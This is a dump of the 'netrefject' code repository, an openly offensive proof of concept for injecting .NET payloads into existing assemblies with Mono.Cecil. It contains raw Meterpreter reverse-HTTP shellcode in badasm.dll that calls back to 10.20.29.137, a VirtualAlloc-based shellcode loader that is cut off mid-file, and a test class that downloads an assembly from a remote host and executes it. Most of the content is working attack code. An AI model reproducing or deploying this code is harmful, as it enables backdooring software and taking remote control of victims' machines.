├── netrefject.gif ├── injected-code.png ├── injected-evil.png ├── extern-versions.png ├── testlibrary ├── HELLOWORLD ├── testlibrary.csproj ├── testlibrary.csproj.user └── testclass.cs ├── netrefject-control ├── TESTASM.dll ├── payloads │ └── meterpreterpayload.dll ├── Properties │ └── launchSettings.json ├── testlibrary, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null.hacked.dll ├── netrefject-control.csproj.user ├── netrefject-control.csproj ├── References.cs ├── netrefject-control.sln ├── startup.cs ├── badasm.dll └── worker.cs ├── meterpreterpayload ├── obj │ ├── Debug │ │ └── netcoreapp2.0 │ │ │ ├── meterpreterpayload.AssemblyInfoInputs.cache │ │ │ ├── meterpreterpayload.csproj.CoreCompileInputs.cache │ │ │ ├── meterpreterpayload.dll │ │ │ ├── meterpreterpayload.pdb │ │ │ ├── meterpreterpayload.assets.cache │ │ │ ├── meterpreterpayload.csprojAssemblyReference.cache │ │ │ ├── meterpreterpayload.AssemblyInfo.cs │ │ │ └── meterpreterpayload.csproj.FileListAbsolute.txt │ ├── meterpreterpayload.csproj.nuget.cache │ ├── meterpreterpayload.csproj.nuget.g.targets │ ├── meterpreterpayload.csproj.nuget.g.props │ ├── meterpreterpayload.csproj.nuget.dgspec.json │ └── project.assets.json ├── bin │ └── Debug │ │ └── netcoreapp2.0 │ │ ├── meterpreterpayload.dll │ │ ├── meterpreterpayload.pdb │ │ └── meterpreterpayload.deps.json ├── meterpreterpayload.csproj └── Program.cs ├── testconsole ├── testconsole.csproj └── Program.cs ├── README.md ├── .vscode ├── launch.json └── tasks.json └── LICENSE /netrefject.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/netrefject.gif -------------------------------------------------------------------------------- /injected-code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/injected-code.png -------------------------------------------------------------------------------- /injected-evil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/injected-evil.png -------------------------------------------------------------------------------- /extern-versions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/extern-versions.png -------------------------------------------------------------------------------- /testlibrary/HELLOWORLD: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/testlibrary/HELLOWORLD -------------------------------------------------------------------------------- /netrefject-control/TESTASM.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/netrefject-control/TESTASM.dll -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.AssemblyInfoInputs.cache: -------------------------------------------------------------------------------- 1 | ee596bdc486be7af15724906f442e9b78e2c8a8d 2 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 8fabcb33f13a9066766c537c52c8faf2b8a9f331 2 | -------------------------------------------------------------------------------- /netrefject-control/payloads/meterpreterpayload.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/netrefject-control/payloads/meterpreterpayload.dll -------------------------------------------------------------------------------- /netrefject-control/Properties/launchSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "profiles": { 3 | "netrefject-control": { 4 | "commandName": "Project" 5 | } 6 | } 7 | } -------------------------------------------------------------------------------- /meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.dll -------------------------------------------------------------------------------- /meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.pdb -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.dll -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.pdb -------------------------------------------------------------------------------- /testlibrary/testlibrary.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | netcoreapp2.0 4 | 5 | 6 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.assets.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.assets.cache -------------------------------------------------------------------------------- /meterpreterpayload/obj/meterpreterpayload.csproj.nuget.cache: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1, 3 | "dgSpecHash": "VA3RUJ2af/GpUCxiOVQIulW3aGUD24qtnskpN4nvVlJA/AGMbF9fA/MX+W9YBumbMacY8R6XV8BXK2XcXEnqSQ==", 4 | "success": true 5 | } -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /netrefject-control/testlibrary, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null.hacked.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ashr/netrefject/HEAD/netrefject-control/testlibrary, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null.hacked.dll -------------------------------------------------------------------------------- /meterpreterpayload/meterpreterpayload.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | library 4 | netcoreapp2.0 5 | 6 | 7 | -------------------------------------------------------------------------------- /testlibrary/testlibrary.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | false 5 | 6 | -------------------------------------------------------------------------------- /netrefject-control/netrefject-control.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | false 5 | 6 | -------------------------------------------------------------------------------- /testconsole/testconsole.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Exe 9 | netcoreapp2.0 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /netrefject-control/netrefject-control.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | netcoreapp2.0 4 | netrefject 5 | 6 | Exe 7 | Startup 8 | true 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /testconsole/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace testconsole 4 | { 5 | class Program 6 | { 7 | static void Main(string[] args) 8 | { 9 | Console.WriteLine("[!!] Loading Test Library"); 10 | testlibrary.Testclass testClass = new testlibrary.Testclass(); 11 | Console.WriteLine("[!!] Executing Test Method"); 12 | testClass.TestMethod(); 13 | Console.WriteLine("[!!] Unloading Test Library"); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.deps.json: -------------------------------------------------------------------------------- 1 | { 2 | "runtimeTarget": { 3 | "name": ".NETCoreApp,Version=v2.0", 4 | "signature": "da39a3ee5e6b4b0d3255bfef95601890afd80709" 5 | }, 6 | "compilationOptions": {}, 7 | "targets": { 8 | ".NETCoreApp,Version=v2.0": { 9 | "meterpreterpayload/1.0.0": { 10 | "runtime": { 11 | "meterpreterpayload.dll": {} 12 | } 13 | } 14 | } 15 | }, 16 | "libraries": { 17 | "meterpreterpayload/1.0.0": { 18 | "type": "project", 19 | "serviceable": false, 20 | "sha512": "" 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | netrefject is a small POC to show how to use Mono.Cecil to inject 2 | .Net payloads into .Net assemblies if you have write access to those assemblies 3 | 4 | (And I assume they need to be unsigned but I haven't tested - though it seems obvious) 5 | 6 | 7 | I have not seen this functionality in various C2/payload frameworks yet, just in-memory injection 8 | 9 | This project is being developed on Linux with vscode, running dotnet core 2, 10 | just committed a fix to allow you to debug with vscode and be able to send stdinput during debugging. 11 | 12 | 13 | [Current State] 14 | 15 | Full payload injection with remote and local .Net payloads ! 16 | 17 | ![process](./netrefject.gif) 18 | [End Current] 19 | 20 | 21 | More payloads and some refined code coming soon ! 22 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/meterpreterpayload.csproj.nuget.g.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath) 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Generated by the MSBuild WriteCodeFragment class. 4 | // 5 | //------------------------------------------------------------------------------ 6 | 7 | using System; 8 | using System.Reflection; 9 | 10 | [assembly: System.Reflection.AssemblyCompanyAttribute("meterpreterpayload")] 11 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")] 12 | [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] 13 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] 14 | [assembly: System.Reflection.AssemblyProductAttribute("meterpreterpayload")] 15 | [assembly: System.Reflection.AssemblyTitleAttribute("meterpreterpayload")] 16 | [assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")] 17 | -------------------------------------------------------------------------------- /netrefject-control/References.cs: -------------------------------------------------------------------------------- 1 | using Mono.Cecil; 2 | namespace netrefject{ 3 | public struct References 4 | { 5 | public TypeReference uint8; //byte 6 | public TypeReference Assembly; 7 | public TypeReference MethodInfo; 8 | public TypeReference var; //object 9 | public TypeReference boolean; 10 | public TypeReference var_array; //object[] 11 | public TypeReference int32; 12 | public TypeReference Exception; 13 | 14 | public MethodReference WebClientCtor; 15 | public MethodReference WebClient_DownloadData; 16 | 17 | public MethodReference Assembly_Load; 18 | public MethodReference Assembly_getEntryPoint; 19 | public MethodReference Assembly_CreateInstance; 20 | 21 | public MethodReference MemberInfo_getName; 22 | 23 | public MethodReference MethodBase_GetParameters; 24 | public MethodReference MethodBase_Invoke; 25 | } 26 | } -------------------------------------------------------------------------------- /testlibrary/testclass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Reflection; 4 | 5 | namespace testlibrary 6 | { 7 | public class Testclass 8 | { 9 | public Testclass() 10 | { 11 | Console.WriteLine("This is Constructor"); 12 | } 13 | 14 | public void TestMethod() 15 | { 16 | Console.WriteLine("This is test method"); 17 | } 18 | 19 | public void FlapMethod(){ 20 | Console.WriteLine("Faan"); 21 | 22 | WebClient wc = new WebClient(); 23 | byte[] data = wc.DownloadData("Http://10.20.29.137:8000/HELLOWORLD"); 24 | var instance = Assembly.Load(data).CreateInstance("testlibrary.Testclass"); 25 | //if (instance == null)return; 26 | //try{ 27 | //Console.WriteLine("Faan calling Faan"); 28 | instance.GetType().InvokeMember("FlapMethod",BindingFlags.InvokeMethod,null,instance,null); 29 | //}catch(Exception e){} 30 | } 31 | 32 | public void CallBad(){ 33 | Console.WriteLine("I am bad payload called from injected library"); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.csprojAssemblyReference.cache 2 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.csproj.CoreCompileInputs.cache 3 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.AssemblyInfoInputs.cache 4 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.AssemblyInfo.cs 5 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.deps.json 6 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.dll 7 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/bin/Debug/netcoreapp2.0/meterpreterpayload.pdb 8 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.dll 9 | /home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/Debug/netcoreapp2.0/meterpreterpayload.pdb 10 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to find out which attributes exist for C# debugging 3 | // Use hover for the description of the existing attributes 4 | // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": ".NET Core Launch (console)", 9 | "type": "coreclr", 10 | "request": "launch", 11 | "preLaunchTask": "build", 12 | // If you have changed target frameworks, make sure to update the program path. 13 | "program": "${workspaceFolder}/netrefject-control/bin/Debug/netcoreapp2.0/netrefject-control.dll", 14 | "args": [], 15 | "cwd": "${workspaceFolder}/netrefject-control", 16 | // For more information about the 'console' field, see https://aka.ms/VSCode-CS-LaunchJson-Console 17 | "console": "integratedTerminal", 18 | "stopAtEntry": false 19 | }, 20 | { 21 | "name": ".NET Core Attach", 22 | "type": "coreclr", 23 | "request": "attach", 24 | "processId": "${command:pickProcess}" 25 | } 26 | ] 27 | } -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "build", 6 | "command": "dotnet", 7 | "type": "process", 8 | "args": [ 9 | "build", 10 | "${workspaceFolder}/netrefject-control/netrefject-control.csproj", 11 | "/property:GenerateFullPaths=true", 12 | "/consoleloggerparameters:NoSummary" 13 | ], 14 | "problemMatcher": "$msCompile" 15 | }, 16 | { 17 | "label": "publish", 18 | "command": "dotnet", 19 | "type": "process", 20 | "args": [ 21 | "publish", 22 | "${workspaceFolder}/netrefject-control/netrefject-control.csproj", 23 | "/property:GenerateFullPaths=true", 24 | "/consoleloggerparameters:NoSummary" 25 | ], 26 | "problemMatcher": "$msCompile" 27 | }, 28 | { 29 | "label": "watch", 30 | "command": "dotnet", 31 | "type": "process", 32 | "args": [ 33 | "watch", 34 | "run", 35 | "${workspaceFolder}/netrefject-control/netrefject-control.csproj", 36 | "/property:GenerateFullPaths=true", 37 | "/consoleloggerparameters:NoSummary" 38 | ], 39 | "problemMatcher": "$msCompile" 40 | } 41 | ] 42 | } -------------------------------------------------------------------------------- /meterpreterpayload/obj/meterpreterpayload.csproj.nuget.g.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | True 5 | NuGet 6 | $(MSBuildThisFileDirectory)project.assets.json 7 | /home/ashr/.nuget/packages/ 8 | /home/ashr/.nuget/packages/;/usr/share/dotnet/sdk/NuGetFallbackFolder 9 | PackageReference 10 | 5.2.0 11 | 12 | 13 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath) 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /netrefject-control/netrefject-control.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29230.47 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "netrefject-control", "netrefject-control.csproj", "{979F19EC-689B-427E-8AF4-8AEA0D4ECEC9}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "testlibrary", "..\testlibrary\testlibrary.csproj", "{0B112767-2E7F-41E2-BF46-BC7675A693BB}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {979F19EC-689B-427E-8AF4-8AEA0D4ECEC9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {979F19EC-689B-427E-8AF4-8AEA0D4ECEC9}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {979F19EC-689B-427E-8AF4-8AEA0D4ECEC9}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {979F19EC-689B-427E-8AF4-8AEA0D4ECEC9}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {0B112767-2E7F-41E2-BF46-BC7675A693BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {0B112767-2E7F-41E2-BF46-BC7675A693BB}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {0B112767-2E7F-41E2-BF46-BC7675A693BB}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {0B112767-2E7F-41E2-BF46-BC7675A693BB}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {14E9C4F5-58F5-4CE7-BDFE-CCF79936937B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/meterpreterpayload.csproj.nuget.dgspec.json: -------------------------------------------------------------------------------- 1 | { 2 | "format": 1, 3 | "restore": { 4 | "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/meterpreterpayload.csproj": {} 5 | }, 6 | "projects": { 7 | "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/meterpreterpayload.csproj": { 8 | "version": "1.0.0", 9 | "restore": { 10 | "projectUniqueName": "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/meterpreterpayload.csproj", 11 | "projectName": "meterpreterpayload", 12 | "projectPath": "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/meterpreterpayload.csproj", 13 | "packagesPath": "/home/ashr/.nuget/packages/", 14 | "outputPath": "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/", 15 | "projectStyle": "PackageReference", 16 | "fallbackFolders": [ 17 | "/usr/share/dotnet/sdk/NuGetFallbackFolder" 18 | ], 19 | "configFilePaths": [ 20 | "/home/ashr/.nuget/NuGet/NuGet.Config" 21 | ], 22 | "originalTargetFrameworks": [ 23 | "netcoreapp2.0" 24 | ], 25 | "sources": { 26 | "https://api.nuget.org/v3/index.json": {} 27 | }, 28 | "frameworks": { 29 | "netcoreapp2.0": { 30 | "projectReferences": {} 31 | } 32 | }, 33 | "warningProperties": { 34 | "warnAsError": [ 35 | "NU1605" 36 | ] 37 | } 38 | }, 39 | "frameworks": { 40 | "netcoreapp2.0": { 41 | "dependencies": { 42 | "Microsoft.NETCore.App": { 43 | "suppressParent": "All", 44 | "target": "Package", 45 | "version": "[2.0.0, )", 46 | "autoReferenced": true 47 | } 48 | }, 49 | "imports": [ 50 | "net461" 51 | ], 52 | "assetTargetFallback": true, 53 | "warn": true 54 | } 55 | } 56 | } 57 | } 58 | } -------------------------------------------------------------------------------- /netrefject-control/startup.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Diagnostics; 4 | using netrefject; 5 | using System.Linq; 6 | 7 | using Mono.Cecil; 8 | using Mono.Cecil.Cil; 9 | 10 | public static class Startup 11 | { 12 | public static void Main(string[] args) 13 | { 14 | Console.WriteLine(args.Length); 15 | if (args.Length != 4) 16 | { 17 | Worker.syntax(); 18 | return; 19 | } 20 | 21 | string filename = args[0]; 22 | string payloadURI = args[1]; 23 | string payloadMethod = args[2]; 24 | string payloadClass = args[3]; 25 | 26 | if (!filename.EndsWith("dll")) 27 | { 28 | Worker.syntax(); 29 | return; 30 | } 31 | 32 | new Worker().HandleInjectionFlow(filename,payloadURI,payloadMethod, payloadClass); 33 | return; 34 | 35 | /* 36 | Console.WriteLine("START Running unmodified DLL"); 37 | ProcessStartInfo psi = new ProcessStartInfo("dotnet"); 38 | psi.WorkingDirectory = "../testconsole"; 39 | psi.Arguments = "run testconsole.csprj"; 40 | var p1 = Process.Start(psi); 41 | p1.WaitForExit(); 42 | Console.WriteLine("END Running unmodified DLL"); 43 | 44 | AssemblyDefinition targetAsm = AssemblyDefinition.ReadAssembly(filename); 45 | TypeDefinition targetType = targetAsm.MainModule.Types.FirstOrDefault(x => x.Name == "Testclass"); 46 | MethodDefinition m1 = targetType.Methods.FirstOrDefault(x => x.Name == "TestMethod"); 47 | 48 | Console.WriteLine("Modifying TestClass"); 49 | ILProcessor ilp = m1.Body.GetILProcessor(); 50 | var ldstr = ilp.Create (OpCodes.Ldstr, "INJECTED EVIL"); 51 | var call = ilp.Create (OpCodes.Call,m1.Module.Import (typeof (Console).GetMethod ("WriteLine", new [] { typeof (string) }))); 52 | ilp.InsertBefore (m1.Body.Instructions [0], ldstr); 53 | ilp.InsertAfter (m1.Body.Instructions [0], call); 54 | 55 | 56 | targetAsm.Write("TESTASM.dll"); 57 | 58 | 59 | 60 | Console.WriteLine("Overwriting old version"); 61 | File.Copy("TESTASM.dll","../testconsole/bin/Debug/netcoreapp2.0/testlibrary.dll",true); 62 | 63 | Console.WriteLine("START Running modified DLL"); 64 | psi = new ProcessStartInfo("dotnet"); 65 | psi.WorkingDirectory = "../testconsole"; 66 | psi.Arguments = "run --no-build testconsole.csprj"; 67 | var p2 = Process.Start(psi); 68 | p2.WaitForExit(); 69 | */ 70 | } 71 | } -------------------------------------------------------------------------------- /netrefject-control/badasm.dll: -------------------------------------------------------------------------------- 1 | byte[] buf = new byte[712] { 2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 16 | 0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69, 17 | 0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26, 18 | 0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31, 19 | 0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5, 20 | 0xe8,0x0d,0x00,0x00,0x00,0x31,0x30,0x2e,0x32,0x30,0x2e,0x32,0x39,0x2e,0x31, 21 | 0x33,0x37,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xfb,0x20,0x00,0x00,0x4d, 22 | 0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00, 23 | 0x00,0x00,0xff,0xd5,0xe8,0xa0,0x00,0x00,0x00,0x2f,0x2d,0x42,0x4f,0x79,0x66, 24 | 0x77,0x44,0x44,0x42,0x70,0x63,0x70,0x6c,0x69,0x69,0x55,0x64,0x47,0x51,0x51, 25 | 0x6a,0x67,0x51,0x30,0x36,0x4a,0x4a,0x2d,0x71,0x78,0x39,0x33,0x75,0x34,0x51, 26 | 0x52,0x32,0x5f,0x47,0x47,0x74,0x77,0x7a,0x49,0x57,0x6a,0x35,0x51,0x52,0x71, 27 | 0x78,0x39,0x58,0x71,0x73,0x64,0x6b,0x69,0x37,0x4f,0x4d,0x70,0x37,0x6b,0x33, 28 | 0x74,0x56,0x6b,0x65,0x34,0x6e,0x76,0x43,0x7a,0x4f,0x31,0x51,0x50,0x46,0x72, 29 | 0x6c,0x43,0x58,0x46,0x66,0x4a,0x36,0x54,0x45,0x44,0x51,0x75,0x77,0x6c,0x77, 30 | 0x58,0x43,0x41,0x79,0x72,0x6a,0x49,0x52,0x57,0x43,0x77,0x4e,0x47,0x4f,0x32, 31 | 0x57,0x71,0x77,0x64,0x56,0x52,0x4f,0x66,0x70,0x35,0x41,0x42,0x6c,0x53,0x71, 32 | 0x79,0x5a,0x73,0x56,0x55,0x4b,0x43,0x6c,0x69,0x79,0x39,0x73,0x37,0x56,0x36, 33 | 0x74,0x56,0x61,0x39,0x71,0x79,0x68,0x38,0x62,0x51,0x62,0x58,0x5a,0x43,0x70, 34 | 0x50,0x42,0x64,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53, 35 | 0x48,0xb8,0x00,0x32,0xa0,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7, 36 | 0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89, 37 | 0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04, 38 | 0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d, 39 | 0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53, 40 | 0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7, 41 | 0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00, 42 | 0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53, 43 | 0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10, 44 | 0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48, 45 | 0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0, 46 | 0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00, 47 | 0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07, 48 | 0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7, 49 | 0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; 50 | -------------------------------------------------------------------------------- /meterpreterpayload/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Runtime.InteropServices; 7 | 8 | namespace derp 9 | { 10 | public class meterpreter 11 | { 12 | private static UInt32 MEM_COMMIT = 0x1000; 13 | 14 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 15 | 16 | [DllImport("kernel32")] 17 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 18 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 19 | 20 | [DllImport("kernel32")] 21 | private static extern bool VirtualFree(IntPtr lpAddress, 22 | UInt32 dwSize, UInt32 dwFreeType); 23 | 24 | [DllImport("kernel32")] 25 | private static extern 